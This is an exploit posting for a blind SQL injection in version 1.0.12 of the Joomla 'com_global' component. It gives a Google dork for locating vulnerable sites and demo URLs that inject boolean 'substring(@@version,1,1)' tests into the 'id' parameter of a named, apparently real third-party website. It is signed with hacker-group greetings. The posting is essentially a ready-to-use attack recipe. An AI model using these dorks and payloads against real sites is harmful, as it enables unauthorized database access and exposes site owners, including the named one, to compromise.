The Joomla Global component version 1.0.12 suffers from a remote blind SQL injection vulnerability.
0b75e3e64fba76b5e9eb26e178d3314ebfd447219a81a9e374c4189dd69f4a2b
##########################Joomla component "com_global" Blind SQL injection
vulnerability###################
##########################Xploited by :
Prince_Pwn3r
##########################
##########################Component Version : 1.0.12
##########################
##########################Dork :
inurl:"index.php?option=com_global"
##########################
##########################Contact : 2p0wn0rn0t2p0wn[at]gmail.com
##########################
------------------------------------------------------------------------------------------------------------
Demo:
http://graficacreativa.com.mx/index.php?option=com_global&task=gallery&id=9and
substring(@@version,1,1)=4
http://graficacreativa.com.mx/index.php?option=com_global&task=gallery&id=9and
substring(@@version,1,1)=5
-------------------------------------------------------------------------------------------------------------
Greetz to all p0wnbox.com members,N0F4T3,JohnTG,Sol,AnalyseR and to all
friends out there.
-----------------------------------------------+-------------------------------------------------------------